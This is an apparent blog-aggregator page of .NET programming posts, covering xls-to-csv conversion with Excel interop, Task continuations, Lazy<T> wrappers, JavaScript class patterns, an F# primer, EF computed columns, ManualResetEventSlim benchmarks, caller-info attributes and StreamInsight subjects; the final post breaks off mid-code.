    The task was to provide users with an interface where they can upload the 'csv' files, these files were to be processed and loaded to Database by a Console application. The code in Console application could not handle the 'xls' files so we thought, OK, lets convert 'xls' to 'csv' in the code, Seemed like fun. The idea was to convert it right after uploading within 'csv' file. As Microsoft does not recommend using the  Excel objects in ASP.NET, we decided to use the Jet engine to open xls. (Ace driver is used for xlsx) The code was pretty straight, can be found on following links: http://www.c-sharpcorner.com/uploadfile/yuanwang200409/102242008174401pm/1.aspx http://www.devasp.net/net/articles/display/141.html FIRST BUMP 'OleDbException (0x80004005): Unspecified error' ( Impersonation ): The ablove code ran fine in my test web site and test console application, but it gave an 'OleDbException (0x80004005): Unspecified error' in main web site, turns out imperonation was set to True and as soon as I changed it to False, it did work. on My XP box, web site was running under user                   'ASPNET'  with imperosnation set to FALSE                   'IUSR_*' i.e IIS guest user with impersonation set to TRUE The weired part was that both users had same rights on the folders I was saving files to and on Excel app in DCOM Config.  We decided to give it a try on Windows Server 2003 with web site set to windows authentication ( impersonation = true ) and yes it did work. SECOND BUMP 'External table not in correct format': I got this error with some files and it appeared that the file from client has some metadata issues  ( when I opened the file in Excel and try to save it ,excel  would give me this error saying File can not be saved in current format ) and the error was caused by that. Some people were able to reslove the error by using "Extended Properties=HTML Import;" in connection string. But it did not work for me. We decided to detour from here and use Excel object :( as we had no control on client setting the meta deta of Excel files. Before third bump there were a ouple of small thingies like 'Retrieving the COM class factory for component with CLSID {00024500-0000-0000-C000-000000000046} failed due to the following error: 80070005' Fix can be found at http://blog.crowe.co.nz/archive/2006/03/02/589.aspx THIRD BUMP ( Could not get rid of the EXCEL process  ):  I has all the code in place to 'Quiet' the excel, but, it just did not work. work around was done to Kill the process as we knew no other application on server was using EXCEL.  The normal steps to quite the excel application worked just fine in console application though.   FOURTH BUMP: Code worked with one file 1 on my machine and with the other file 2 code will break. and the same code will work perfectly fine with file 2 on some other machine . We moved it to QA  ( Windows Server 2003 )and worked with every file just perfect. But , then there was another problem: one user can upload it and second cant, permissions on folder and DCOM Conifg checked. Another Detour: Uplooad the xls as it is and convert in Console application.   Lesson Learnt:  If its 'xlsx' use 'ACE Driver' or read xml within excel as recommneded by MS. If xls and you know its always going to be properly formatted  'jet Engine'  Code: Imports Microsoft.Office.Interop Private Function ConvertFile(ByVal SourceFolder As String, ByVal FileName As String, ByVal FileExtension As String)As Boolean     Dim appExcel As New Excel.Application     Dim workBooks As Excel.Workbooks = appExcel.Workbooks     Dim objWorkbook As Excel.Workbook      Try                   objWorkbook = workBooks.Open(CompleteFilePath )                            objWorkbook.SaveAs(Filename:=CObj(SourceFolder & FileName & ".csv"), FileFormat:=Excel.XlFileFormat.xlCSV)       Catch ex As Exception         GenerateAlert(ex.Message().Replace("'", "") & " Error Converting File to CSV.")         LogError(ex )         Return False      Finally                      If Not(objWorkbook is Nothing) then               objWorkbook.Close(SaveChanges:=CObj(False))           End If           ReleaseObj(objWorkbook)                                      ReleaseObj(workBooks)           appExcel.Quit()           ReleaseObj(appExcel)                                 Dim proc As System.Diagnostics.Process           For Each proc In System.Diagnostics.Process.GetProcessesByName("EXCEL")               proc.Kill()           Next         DeleteSourceFile(SourceFolder & FileName & FileExtension)     End Try  Return True  End Function   Private Sub ReleaseObj(ByVal o As Object)     Try      System.Runtime.InteropServices.Marshal.ReleaseComObject(o)   Catch ex As Exception           LogError(ex )   Finally      o = Nothing    End Try End Sub     Protected Sub DeleteSourceFile(Byval CompleteFilePath As string)         Try             Dim MyFile As FileInfo = New FileInfo(CompleteFilePath)             If  MyFile.Exists Then                 File.Delete(CompleteFilePath)             Else              Throw New FileNotFoundException()             End If         Catch ex As Exception             GenerateAlert( " Source File could not be deleted.")              LogError(ex)         End Try     End Sub  The code to kill the process ( Avoid it if you can ): Dim proc As System.Diagnostics.Process For Each proc In System.Diagnostics.Process.GetProcessesByName("EXCEL")     proc.Kill() Next

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  • Parallelism in .NET – Part 17, Think Continuations, not Callbacks

    - by Reed
    In traditional asynchronous programming, we’d often use a callback to handle notification of a background task’s completion.  The Task class in the Task Parallel Library introduces a cleaner alternative to the traditional callback: continuation tasks. Asynchronous programming methods typically required callback functions.  For example, MSDN’s Asynchronous Delegates Programming Sample shows a class that factorizes a number.  The original method in the example has the following signature: public static bool Factorize(int number, ref int primefactor1, ref int primefactor2) { //... .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } However, calling this is quite “tricky”, even if we modernize the sample to use lambda expressions via C# 3.0.  Normally, we could call this method like so: int primeFactor1 = 0; int primeFactor2 = 0; bool answer = Factorize(10298312, ref primeFactor1, ref primeFactor2); Console.WriteLine("{0}/{1} [Succeeded {2}]", primeFactor1, primeFactor2, answer); If we want to make this operation run in the background, and report to the console via a callback, things get tricker.  First, we need a delegate definition: public delegate bool AsyncFactorCaller( int number, ref int primefactor1, ref int primefactor2); Then we need to use BeginInvoke to run this method asynchronously: int primeFactor1 = 0; int primeFactor2 = 0; AsyncFactorCaller caller = new AsyncFactorCaller(Factorize); caller.BeginInvoke(10298312, ref primeFactor1, ref primeFactor2, result => { int factor1 = 0; int factor2 = 0; bool answer = caller.EndInvoke(ref factor1, ref factor2, result); Console.WriteLine("{0}/{1} [Succeeded {2}]", factor1, factor2, answer); }, null); This works, but is quite difficult to understand from a conceptual standpoint.  To combat this, the framework added the Event-based Asynchronous Pattern, but it isn’t much easier to understand or author. Using .NET 4’s new Task<T> class and a continuation, we can dramatically simplify the implementation of the above code, as well as make it much more understandable.  We do this via the Task.ContinueWith method.  This method will schedule a new Task upon completion of the original task, and provide the original Task (including its Result if it’s a Task<T>) as an argument.  Using Task, we can eliminate the delegate, and rewrite this code like so: var background = Task.Factory.StartNew( () => { int primeFactor1 = 0; int primeFactor2 = 0; bool result = Factorize(10298312, ref primeFactor1, ref primeFactor2); return new { Result = result, Factor1 = primeFactor1, Factor2 = primeFactor2 }; }); background.ContinueWith(task => Console.WriteLine("{0}/{1} [Succeeded {2}]", task.Result.Factor1, task.Result.Factor2, task.Result.Result)); This is much simpler to understand, in my opinion.  Here, we’re explicitly asking to start a new task, then continue the task with a resulting task.  In our case, our method used ref parameters (this was from the MSDN Sample), so there is a little bit of extra boiler plate involved, but the code is at least easy to understand. That being said, this isn’t dramatically shorter when compared with our C# 3 port of the MSDN code above.  However, if we were to extend our requirements a bit, we can start to see more advantages to the Task based approach.  For example, supposed we need to report the results in a user interface control instead of reporting it to the Console.  This would be a common operation, but now, we have to think about marshaling our calls back to the user interface.  This is probably going to require calling Control.Invoke or Dispatcher.Invoke within our callback, forcing us to specify a delegate within the delegate.  The maintainability and ease of understanding drops.  However, just as a standard Task can be created with a TaskScheduler that uses the UI synchronization context, so too can we continue a task with a specific context.  There are Task.ContinueWith method overloads which allow you to provide a TaskScheduler.  This means you can schedule the continuation to run on the UI thread, by simply doing: Task.Factory.StartNew( () => { int primeFactor1 = 0; int primeFactor2 = 0; bool result = Factorize(10298312, ref primeFactor1, ref primeFactor2); return new { Result = result, Factor1 = primeFactor1, Factor2 = primeFactor2 }; }).ContinueWith(task => textBox1.Text = string.Format("{0}/{1} [Succeeded {2}]", task.Result.Factor1, task.Result.Factor2, task.Result.Result), TaskScheduler.FromCurrentSynchronizationContext()); This is far more understandable than the alternative.  By using Task.ContinueWith in conjunction with TaskScheduler.FromCurrentSynchronizationContext(), we get a simple way to push any work onto a background thread, and update the user interface on the proper UI thread.  This technique works with Windows Presentation Foundation as well as Windows Forms, with no change in methodology.

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  • Using Lazy<T> and abstract wrapper class to lazy-load complex system parameters

    - by DigiMortal
    .NET Framework 4.0 introduced new class called Lazy<T> and I wrote blog post about it: .Net Framework 4.0: Using System.Lazy<T>. One thing is annoying for me – we have to keep lazy loaded value and its value loader as separate things. In this posting I will introduce you my Lazy<T> wrapper for complex to get system parameters that uses template method to keep lazy value loader in parameter class. Problem with original implementation Here’s the sample code that shows you how Lazy<T> is usually used. This is just sample code, don’t focus on the fact that this is dummy console application. class Program {     static void Main(string[] args)     {         var temperature = new Lazy<int>(LoadMinimalTemperature);           Console.WriteLine("Minimal room temperature: " + temperature.Value);         Console.ReadLine();     }       protected static int LoadMinimalTemperature()     {         var returnValue = 0;           // Do complex stuff here           return true;     } } The problem is that our class with many lazy loaded properties will grow messy if it has all value loading code inside it. This code may be complex for more than one parameter and in this case it is better to use separate class for this parameter. Defining base class for parameters As a first step I will define base class for all lazy-loaded parameters. This class is wrapper around Lazy<T> and it also offers one template method that parameter classes have to override to provide loaded data. public abstract class LazyParameter<T> {     private Lazy<T> _lazyParam;       public LazyParameter()     {         _lazyParam = new Lazy<T>(Load);     }       protected abstract T Load();       public T Value     {         get { return _lazyParam.Value; }     } } It is also possible to extend Lazy<T> but I don’t prefer to do it as Lazy<T> has six constructors we have to take care of. Also I don’t like to expose Lazy<T> public interface to users of my parameter classes. Creating parameter class Now it’s time to create our first parameter class. Notice how few stuff we have in this class besides overridden Load() method. public class MinimalRoomTemperature : LazyParameter<int> {     protected override int Load()     {         var returnValue = 0;           // Do complex stuff here           return returnValue;     } } Using parameter class is simple. Here’s my test code. class Program {     static void Main(string[] args)     {         var parameter = new MinimalRoomTemperature();         Console.WriteLine("Minimal room temperature: " + parameter.Value);         Console.ReadLine();     } } Conclusion Lazy<T> is useful class that you usually don’t want to use outside from API-s. I like this class but I don’t like when people are using this class directly in application code. In this posting I showed you how to use Lazy<T> with wrapper class to get complex parameter loading code out from classes that use this parameter. We ended up with generic base class for parameters that you can also use as base for other similar classes (you have to find better name to base class in this case).

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  • JavaScript Class Patterns

    - by Liam McLennan
    To write object-oriented programs we need objects, and likely lots of them. JavaScript makes it easy to create objects: var liam = { name: "Liam", age: Number.MAX_VALUE }; But JavaScript does not provide an easy way to create similar objects. Most object-oriented languages include the idea of a class, which is a template for creating objects of the same type. From one class many similar objects can be instantiated. Many patterns have been proposed to address the absence of a class concept in JavaScript. This post will compare and contrast the most significant of them. Simple Constructor Functions Classes may be missing but JavaScript does support special constructor functions. By prefixing a call to a constructor function with the ‘new’ keyword we can tell the JavaScript runtime that we want the function to behave like a constructor and instantiate a new object containing the members defined by that function. Within a constructor function the ‘this’ keyword references the new object being created -  so a basic constructor function might be: function Person(name, age) { this.name = name; this.age = age; this.toString = function() { return this.name + " is " + age + " years old."; }; } var john = new Person("John Galt", 50); console.log(john.toString()); Note that by convention the name of a constructor function is always written in Pascal Case (the first letter of each word is capital). This is to distinguish between constructor functions and other functions. It is important that constructor functions be called with the ‘new’ keyword and that not constructor functions are not. There are two problems with the pattern constructor function pattern shown above: It makes inheritance difficult The toString() function is redefined for each new object created by the Person constructor. This is sub-optimal because the function should be shared between all of the instances of the Person type. Constructor Functions with a Prototype JavaScript functions have a special property called prototype. When an object is created by calling a JavaScript constructor all of the properties of the constructor’s prototype become available to the new object. In this way many Person objects can be created that can access the same prototype. An improved version of the above example can be written: function Person(name, age) { this.name = name; this.age = age; } Person.prototype = { toString: function() { return this.name + " is " + this.age + " years old."; } }; var john = new Person("John Galt", 50); console.log(john.toString()); In this version a single instance of the toString() function will now be shared between all Person objects. Private Members The short version is: there aren’t any. If a variable is defined, with the var keyword, within the constructor function then its scope is that function. Other functions defined within the constructor function will be able to access the private variable, but anything defined outside the constructor (such as functions on the prototype property) won’t have access to the private variable. Any variables defined on the constructor are automatically public. Some people solve this problem by prefixing properties with an underscore and then not calling those properties by convention. function Person(name, age) { this.name = name; this.age = age; } Person.prototype = { _getName: function() { return this.name; }, toString: function() { return this._getName() + " is " + this.age + " years old."; } }; var john = new Person("John Galt", 50); console.log(john.toString()); Note that the _getName() function is only private by convention – it is in fact a public function. Functional Object Construction Because of the weirdness involved in using constructor functions some JavaScript developers prefer to eschew them completely. They theorize that it is better to work with JavaScript’s functional nature than to try and force it to behave like a traditional class-oriented language. When using the functional approach objects are created by returning them from a factory function. An excellent side effect of this pattern is that variables defined with the factory function are accessible to the new object (due to closure) but are inaccessible from anywhere else. The Person example implemented using the functional object construction pattern is: var john = new Person("John Galt", 50); console.log(john.toString()); var personFactory = function(name, age) { var privateVar = 7; return { toString: function() { return name + " is " + age * privateVar / privateVar + " years old."; } }; }; var john2 = personFactory("John Lennon", 40); console.log(john2.toString()); Note that the ‘new’ keyword is not used for this pattern, and that the toString() function has access to the name, age and privateVar variables because of closure. This pattern can be extended to provide inheritance and, unlike the constructor function pattern, it supports private variables. However, when working with JavaScript code bases you will find that the constructor function is more common – probably because it is a better approximation of mainstream class oriented languages like C# and Java. Inheritance Both of the above patterns can support inheritance but for now, favour composition over inheritance. Summary When JavaScript code exceeds simple browser automation object orientation can provide a powerful paradigm for controlling complexity. Both of the patterns presented in this article work – the choice is a matter of style. Only one question still remains; who is John Galt?

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  • F# for the C# Programmer

    - by mbcrump
    Are you a C# Programmer and can’t make it past a day without seeing or hearing someone mention F#?  Today, I’m going to walk you through your first F# application and give you a brief introduction to the language. Sit back this will only take about 20 minutes. Introduction Microsoft's F# programming language is a functional language for the .NET framework that was originally developed at Microsoft Research Cambridge by Don Syme. In October 2007, the senior vice president of the developer division at Microsoft announced that F# was being officially productized to become a fully supported .NET language and professional developers were hired to create a team of around ten people to build the product version. In September 2008, Microsoft released the first Community Technology Preview (CTP), an official beta release, of the F# distribution . In December 2008, Microsoft announced that the success of this CTP had encouraged them to escalate F# and it is now will now be shipped as one of the core languages in Visual Studio 2010 , alongside C++, C# 4.0 and VB. The F# programming language incorporates many state-of-the-art features from programming language research and ossifies them in an industrial strength implementation that promises to revolutionize interactive, parallel and concurrent programming. Advantages of F# F# is the world's first language to combine all of the following features: Type inference: types are inferred by the compiler and generic definitions are created automatically. Algebraic data types: a succinct way to represent trees. Pattern matching: a comprehensible and efficient way to dissect data structures. Active patterns: pattern matching over foreign data structures. Interactive sessions: as easy to use as Python and Mathematica. High performance JIT compilation to native code: as fast as C#. Rich data structures: lists and arrays built into the language with syntactic support. Functional programming: first-class functions and tail calls. Expressive static type system: finds bugs during compilation and provides machine-verified documentation. Sequence expressions: interrogate huge data sets efficiently. Asynchronous workflows: syntactic support for monadic style concurrent programming with cancellations. Industrial-strength IDE support: multithreaded debugging, and graphical throwback of inferred types and documentation. Commerce friendly design and a viable commercial market. Lets try a short program in C# then F# to understand the differences. Using C#: Create a variable and output the value to the console window: Sample Program. using System;   namespace ConsoleApplication9 {     class Program     {         static void Main(string[] args)         {             var a = 2;             Console.WriteLine(a);             Console.ReadLine();         }     } } A breeze right? 14 Lines of code. We could have condensed it a bit by removing the “using” statment and tossing the namespace. But this is the typical C# program. Using F#: Create a variable and output the value to the console window: To start, open Visual Studio 2010 or Visual Studio 2008. Note: If using VS2008, then please download the SDK first before getting started. If you are using VS2010 then you are already setup and ready to go. So, click File-> New Project –> Other Languages –> Visual F# –> Windows –> F# Application. You will get the screen below. Go ahead and enter a name and click OK. Now, you will notice that the Solution Explorer contains the following: Double click the Program.fs and enter the following information. Hit F5 and it should run successfully. Sample Program. open System let a = 2        Console.WriteLine a As Shown below: Hmm, what? F# did the same thing in 3 lines of code. Show me the interactive evaluation that I keep hearing about. The F# development environment for Visual Studio 2010 provides two different modes of execution for F# code: Batch compilation to a .NET executable or DLL. (This was accomplished above). Interactive evaluation. (Demo is below) The interactive session provides a > prompt, requires a double semicolon ;; identifier at the end of a code snippet to force evaluation, and returns the names (if any) and types of resulting definitions and values. To access the F# prompt, in VS2010 Goto View –> Other Window then F# Interactive. Once you have the interactive window type in the following expression: 2+3;; as shown in the screenshot below: I hope this guide helps you get started with the language, please check out the following books for further information. F# Books for further reading   Foundations of F# Author: Robert Pickering An introduction to functional programming with F#. Including many samples, this book walks through the features of the F# language and libraries, and covers many of the .NET Framework features which can be leveraged with F#.       Functional Programming for the Real World: With Examples in F# and C# Authors: Tomas Petricek and Jon Skeet An introduction to functional programming for existing C# developers written by Tomas Petricek and Jon Skeet. This book explains the core principles using both C# and F#, shows how to use functional ideas when designing .NET applications and presents practical examples such as design of domain specific language, development of multi-core applications and programming of reactive applications.

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  • Calculated Columns in Entity Framework Code First Migrations

    - by David Paquette
    I had a couple people ask me about calculated properties / columns in Entity Framework this week.  The question was, is there a way to specify a property in my C# class that is the result of some calculation involving 2 properties of the same class.  For example, in my database, I store a FirstName and a LastName column and I would like a FullName property that is computed from the FirstName and LastName columns.  My initial answer was: 1: public string FullName 2: { 3: get { return string.Format("{0} {1}", FirstName, LastName); } 4: } Of course, this works fine, but this does not give us the ability to write queries using the FullName property.  For example, this query: 1: var users = context.Users.Where(u => u.FullName.Contains("anan")); Would result in the following NotSupportedException: The specified type member 'FullName' is not supported in LINQ to Entities. Only initializers, entity members, and entity navigation properties are supported. It turns out there is a way to support this type of behavior with Entity Framework Code First Migrations by making use of Computed Columns in SQL Server.  While there is no native support for computed columns in Code First Migrations, we can manually configure our migration to use computed columns. Let’s start by defining our C# classes and DbContext: 1: public class UserProfile 2: { 3: public int Id { get; set; } 4: 5: public string FirstName { get; set; } 6: public string LastName { get; set; } 7: 8: [DatabaseGenerated(DatabaseGeneratedOption.Computed)] 9: public string FullName { get; private set; } 10: } 11: 12: public class UserContext : DbContext 13: { 14: public DbSet<UserProfile> Users { get; set; } 15: } The DatabaseGenerated attribute is needed on our FullName property.  This is a hint to let Entity Framework Code First know that the database will be computing this property for us. Next, we need to run 2 commands in the Package Manager Console.  First, run Enable-Migrations to enable Code First Migrations for the UserContext.  Next, run Add-Migration Initial to create an initial migration.  This will create a migration that creates the UserProfile table with 3 columns: FirstName, LastName, and FullName.  This is where we need to make a small change.  Instead of allowing Code First Migrations to create the FullName property, we will manually add that column as a computed column. 1: public partial class Initial : DbMigration 2: { 3: public override void Up() 4: { 5: CreateTable( 6: "dbo.UserProfiles", 7: c => new 8: { 9: Id = c.Int(nullable: false, identity: true), 10: FirstName = c.String(), 11: LastName = c.String(), 12: //FullName = c.String(), 13: }) 14: .PrimaryKey(t => t.Id); 15: Sql("ALTER TABLE dbo.UserProfiles ADD FullName AS FirstName + ' ' + LastName"); 16: } 17: 18: 19: public override void Down() 20: { 21: DropTable("dbo.UserProfiles"); 22: } 23: } Finally, run the Update-Database command.  Now we can query for Users using the FullName property and that query will be executed on the database server.  However, we encounter another potential problem. Since the FullName property is calculated by the database, it will get out of sync on the object side as soon as we make a change to the FirstName or LastName property.  Luckily, we can have the best of both worlds here by also adding the calculation back to the getter on the FullName property: 1: [DatabaseGenerated(DatabaseGeneratedOption.Computed)] 2: public string FullName 3: { 4: get { return FirstName + " " + LastName; } 5: private set 6: { 7: //Just need this here to trick EF 8: } 9: } Now we can both query for Users using the FullName property and we also won’t need to worry about the FullName property being out of sync with the FirstName and LastName properties.  When we run this code: 1: using(UserContext context = new UserContext()) 2: { 3: UserProfile userProfile = new UserProfile {FirstName = "Chanandler", LastName = "Bong"}; 4: 5: Console.WriteLine("Before saving: " + userProfile.FullName); 6: 7: context.Users.Add(userProfile); 8: context.SaveChanges(); 9:  10: Console.WriteLine("After saving: " + userProfile.FullName); 11:  12: UserProfile chanandler = context.Users.First(u => u.FullName == "Chanandler Bong"); 13: Console.WriteLine("After reading: " + chanandler.FullName); 14:  15: chanandler.FirstName = "Chandler"; 16: chanandler.LastName = "Bing"; 17:  18: Console.WriteLine("After changing: " + chanandler.FullName); 19:  20: } We get this output: It took a bit of work, but finally Chandler’s TV Guide can be delivered to the right person. The obvious downside to this implementation is that the FullName calculation is duplicated in the database and in the UserProfile class. This sample was written using Visual Studio 2012 and Entity Framework 5. Download the source code here.

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  • .NET 4: &ldquo;Slim&rdquo;-style performance boost!

    - by Vitus
    RTM version of .NET 4 and Visual Studio 2010 is available, and now we can do some test with it. Parallel Extensions is one of the most valuable part of .NET 4.0. It’s a set of good tools for easily consuming multicore hardware power. And it also contains some “upgraded” sync primitives – Slim-version. For example, it include updated variant of widely known ManualResetEvent. For people, who don’t know about it: you can sync concurrency execution of some pieces of code with this sync primitive. Instance of ManualResetEvent can be in 2 states: signaled and non-signaled. Transition between it possible by Set() and Reset() methods call. Some shortly explanation: Thread 1 Thread 2 Time mre.Reset(); mre.WaitOne(); //code execution 0 //wating //code execution 1 //wating //code execution 2 //wating //code execution 3 //wating mre.Set(); 4 //code execution //… 5 Upgraded version of this primitive is ManualResetEventSlim. The idea in decreasing performance cost in case, when only 1 thread use it. Main concept in the “hybrid sync schema”, which can be done as following:   internal sealed class SimpleHybridLock : IDisposable { private Int32 m_waiters = 0; private AutoResetEvent m_waiterLock = new AutoResetEvent(false);   public void Enter() { if (Interlocked.Increment(ref m_waiters) == 1) return; m_waiterLock.WaitOne(); }   public void Leave() { if (Interlocked.Decrement(ref m_waiters) == 0) return; m_waiterLock.Set(); }   public void Dispose() { m_waiterLock.Dispose(); } } It’s a sample from Jeffry Richter’s book “CLR via C#”, 3rd edition. Primitive SimpleHybridLock have two public methods: Enter() and Leave(). You can put your concurrency-critical code between calls of these methods, and it would executed in only one thread at the moment. Code is really simple: first thread, called Enter(), increase counter. Second thread also increase counter, and suspend while m_waiterLock is not signaled. So, if we don’t have concurrent access to our lock, “heavy” methods WaitOne() and Set() will not called. It’s can give some performance bonus. ManualResetEvent use the similar idea. Of course, it have more “smart” technics inside, like a checking of recursive calls, and so on. I want to know a real difference between classic ManualResetEvent realization, and new –Slim. I wrote a simple “benchmark”: class Program { static void Main(string[] args) { ManualResetEventSlim mres = new ManualResetEventSlim(false); ManualResetEventSlim mres2 = new ManualResetEventSlim(false);   ManualResetEvent mre = new ManualResetEvent(false);   long total = 0; int COUNT = 50;   for (int i = 0; i < COUNT; i++) { mres2.Reset(); Stopwatch sw = Stopwatch.StartNew();   ThreadPool.QueueUserWorkItem((obj) => { //Method(mres, true); Method2(mre, true); mres2.Set(); }); //Method(mres, false); Method2(mre, false);   mres2.Wait(); sw.Stop();   Console.WriteLine("Pass {0}: {1} ms", i, sw.ElapsedMilliseconds); total += sw.ElapsedMilliseconds; }   Console.WriteLine(); Console.WriteLine("==============================="); Console.WriteLine("Done in average=" + total / (double)COUNT); Console.ReadLine(); }   private static void Method(ManualResetEventSlim mre, bool value) { for (int i = 0; i < 9000000; i++) { if (value) { mre.Set(); } else { mre.Reset(); } } }   private static void Method2(ManualResetEvent mre, bool value) { for (int i = 0; i < 9000000; i++) { if (value) { mre.Set(); } else { mre.Reset(); } } } } I use 2 concurrent thread (the main thread and one from thread pool) for setting and resetting ManualResetEvents, and try to run test COUNT times, and calculate average execution time. Here is the results (I get it on my dual core notebook with T7250 CPU and Windows 7 x64): ManualResetEvent ManualResetEventSlim Difference is obvious and serious – in 10 times! So, I think preferable way is using ManualResetEventSlim, because not always on calling Set() and Reset() will be called “heavy” methods for working with Windows kernel-mode objects. It’s a small and nice improvement! ;)

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  • C#/.NET Little Wonders: Getting Caller Information

    - by James Michael Hare
    Originally posted on: http://geekswithblogs.net/BlackRabbitCoder/archive/2013/07/25/c.net-little-wonders-getting-caller-information.aspx Once again, in this series of posts I look at the parts of the .NET Framework that may seem trivial, but can help improve your code by making it easier to write and maintain. The index of all my past little wonders posts can be found here. There are times when it is desirable to know who called the method or property you are currently executing.  Some applications of this could include logging libraries, or possibly even something more advanced that may server up different objects depending on who called the method. In the past, we mostly relied on the System.Diagnostics namespace and its classes such as StackTrace and StackFrame to see who our caller was, but now in C# 5, we can also get much of this data at compile-time. Determining the caller using the stack One of the ways of doing this is to examine the call stack.  The classes that allow you to examine the call stack have been around for a long time and can give you a very deep view of the calling chain all the way back to the beginning for the thread that has called you. You can get caller information by either instantiating the StackTrace class (which will give you the complete stack trace, much like you see when an exception is generated), or by using StackFrame which gets a single frame of the stack trace.  Both involve examining the call stack, which is a non-trivial task, so care should be done not to do this in a performance-intensive situation. For our simple example let's say we are going to recreate the wheel and construct our own logging framework.  Perhaps we wish to create a simple method Log which will log the string-ified form of an object and some information about the caller.  We could easily do this as follows: 1: static void Log(object message) 2: { 3: // frame 1, true for source info 4: StackFrame frame = new StackFrame(1, true); 5: var method = frame.GetMethod(); 6: var fileName = frame.GetFileName(); 7: var lineNumber = frame.GetFileLineNumber(); 8: 9: // we'll just use a simple Console write for now 10: Console.WriteLine("{0}({1}):{2} - {3}", 11: fileName, lineNumber, method.Name, message); 12: } So, what we are doing here is grabbing the 2nd stack frame (the 1st is our current method) using a 2nd argument of true to specify we want source information (if available) and then taking the information from the frame.  This works fine, and if we tested it out by calling from a file such as this: 1: // File c:\projects\test\CallerInfo\CallerInfo.cs 2:  3: public class CallerInfo 4: { 5: Log("Hello Logger!"); 6: } We'd see this: 1: c:\projects\test\CallerInfo\CallerInfo.cs(5):Main - Hello Logger! This works well, and in fact CallStack and StackFrame are still the best ways to examine deeper into the call stack.  But if you only want to get information on the caller of your method, there is another option… Determining the caller at compile-time In C# 5 (.NET 4.5) they added some attributes that can be supplied to optional parameters on a method to receive caller information.  These attributes can only be applied to methods with optional parameters with explicit defaults.  Then, as the compiler determines who is calling your method with these attributes, it will fill in the values at compile-time. These are the currently supported attributes available in the  System.Runtime.CompilerServices namespace": CallerFilePathAttribute – The path and name of the file that is calling your method. CallerLineNumberAttribute – The line number in the file where your method is being called. CallerMemberName – The member that is calling your method. So let’s take a look at how our Log method would look using these attributes instead: 1: static int Log(object message, 2: [CallerMemberName] string memberName = "", 3: [CallerFilePath] string fileName = "", 4: [CallerLineNumber] int lineNumber = 0) 5: { 6: // we'll just use a simple Console write for now 7: Console.WriteLine("{0}({1}):{2} - {3}", 8: fileName, lineNumber, memberName, message); 9: } Again, calling this from our sample Main would give us the same result: 1: c:\projects\test\CallerInfo\CallerInfo.cs(5):Main - Hello Logger! However, though this seems the same, there are a few key differences. First of all, there are only 3 supported attributes (at this time) that give you the file path, line number, and calling member.  Thus, it does not give you as rich of detail as a StackFrame (which can give you the calling type as well and deeper frames, for example).  Also, these are supported through optional parameters, which means we could call our new Log method like this: 1: // They're defaults, why not fill 'em in 2: Log("My message.", "Some member", "Some file", -13); In addition, since these attributes require optional parameters, they cannot be used in properties, only in methods. These caveats aside, they do let you get similar information inside of methods at a much greater speed!  How much greater?  Well lets crank through 1,000,000 iterations of each.  instead of logging to console, I’ll return the formatted string length of each.  Doing this, we get: 1: Time for 1,000,000 iterations with StackTrace: 5096 ms 2: Time for 1,000,000 iterations with Attributes: 196 ms So you see, using the attributes is much, much faster!  Nearly 25x faster in fact.  Summary There are a few ways to get caller information for a method.  The StackFrame allows you to get a comprehensive set of information spanning the whole call stack, but at a heavier cost.  On the other hand, the attributes allow you to quickly get at caller information baked in at compile-time, but to do so you need to create optional parameters in your methods to support it. Technorati Tags: Little Wonders,CSharp,C#,.NET,StackFrame,CallStack,CallerFilePathAttribute,CallerLineNumberAttribute,CallerMemberName

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  • Using Subjects to Deploy Queries Dynamically

    - by Roman Schindlauer
    In the previous blog posting, we showed how to construct and deploy query fragments to a StreamInsight server, and how to re-use them later. In today’s posting we’ll integrate this pattern into a method of dynamically composing a new query with an existing one. The construct that enables this scenario in StreamInsight V2.1 is a Subject. A Subject lets me create a junction element in an existing query that I can tap into while the query is running. To set this up as an end-to-end example, let’s first define a stream simulator as our data source: var generator = myApp.DefineObservable(     (TimeSpan t) => Observable.Interval(t).Select(_ => new SourcePayload())); This ‘generator’ produces a new instance of SourcePayload with a period of t (system time) as an IObservable. SourcePayload happens to have a property of type double as its payload data. Let’s also define a sink for our example—an IObserver of double values that writes to the console: var console = myApp.DefineObserver(     (string label) => Observer.Create<double>(e => Console.WriteLine("{0}: {1}", label, e)))     .Deploy("ConsoleSink"); The observer takes a string as parameter which is used as a label on the console, so that we can distinguish the output of different sink instances. Note that we also deploy this observer, so that we can retrieve it later from the server from a different process. Remember how we defined the aggregation as an IQStreamable function in the previous article? We will use that as well: var avg = myApp     .DefineStreamable((IQStreamable<SourcePayload> s, TimeSpan w) =>         from win in s.TumblingWindow(w)         select win.Avg(e => e.Value))     .Deploy("AverageQuery"); Then we define the Subject, which acts as an observable sequence as well as an observer. Thus, we can feed a single source into the Subject and have multiple consumers—that can come and go at runtime—on the other side: var subject = myApp.CreateSubject("Subject", () => new Subject<SourcePayload>()); Subject are always deployed automatically. Their name is used to retrieve them from a (potentially) different process (see below). Note that the Subject as we defined it here doesn’t know anything about temporal streams. It is merely a sequence of SourcePayloads, without any notion of StreamInsight point events or CTIs. So in order to compose a temporal query on top of the Subject, we need to 'promote' the sequence of SourcePayloads into an IQStreamable of point events, including CTIs: var stream = subject.ToPointStreamable(     e => PointEvent.CreateInsert<SourcePayload>(e.Timestamp, e),     AdvanceTimeSettings.StrictlyIncreasingStartTime); In a later posting we will show how to use Subjects that have more awareness of time and can be used as a junction between QStreamables instead of IQbservables. Having turned the Subject into a temporal stream, we can now define the aggregate on this stream. We will use the IQStreamable entity avg that we defined above: var longAverages = avg(stream, TimeSpan.FromSeconds(5)); In order to run the query, we need to bind it to a sink, and bind the subject to the source: var standardQuery = longAverages     .Bind(console("5sec average"))     .With(generator(TimeSpan.FromMilliseconds(300)).Bind(subject)); Lastly, we start the process: standardQuery.Run("StandardProcess"); Now we have a simple query running end-to-end, producing results. What follows next is the crucial part of tapping into the Subject and adding another query that runs in parallel, using the same query definition (the “AverageQuery”) but with a different window length. We are assuming that we connected to the same StreamInsight server from a different process or even client, and thus have to retrieve the previously deployed entities through their names: // simulate the addition of a 'fast' query from a separate server connection, // by retrieving the aggregation query 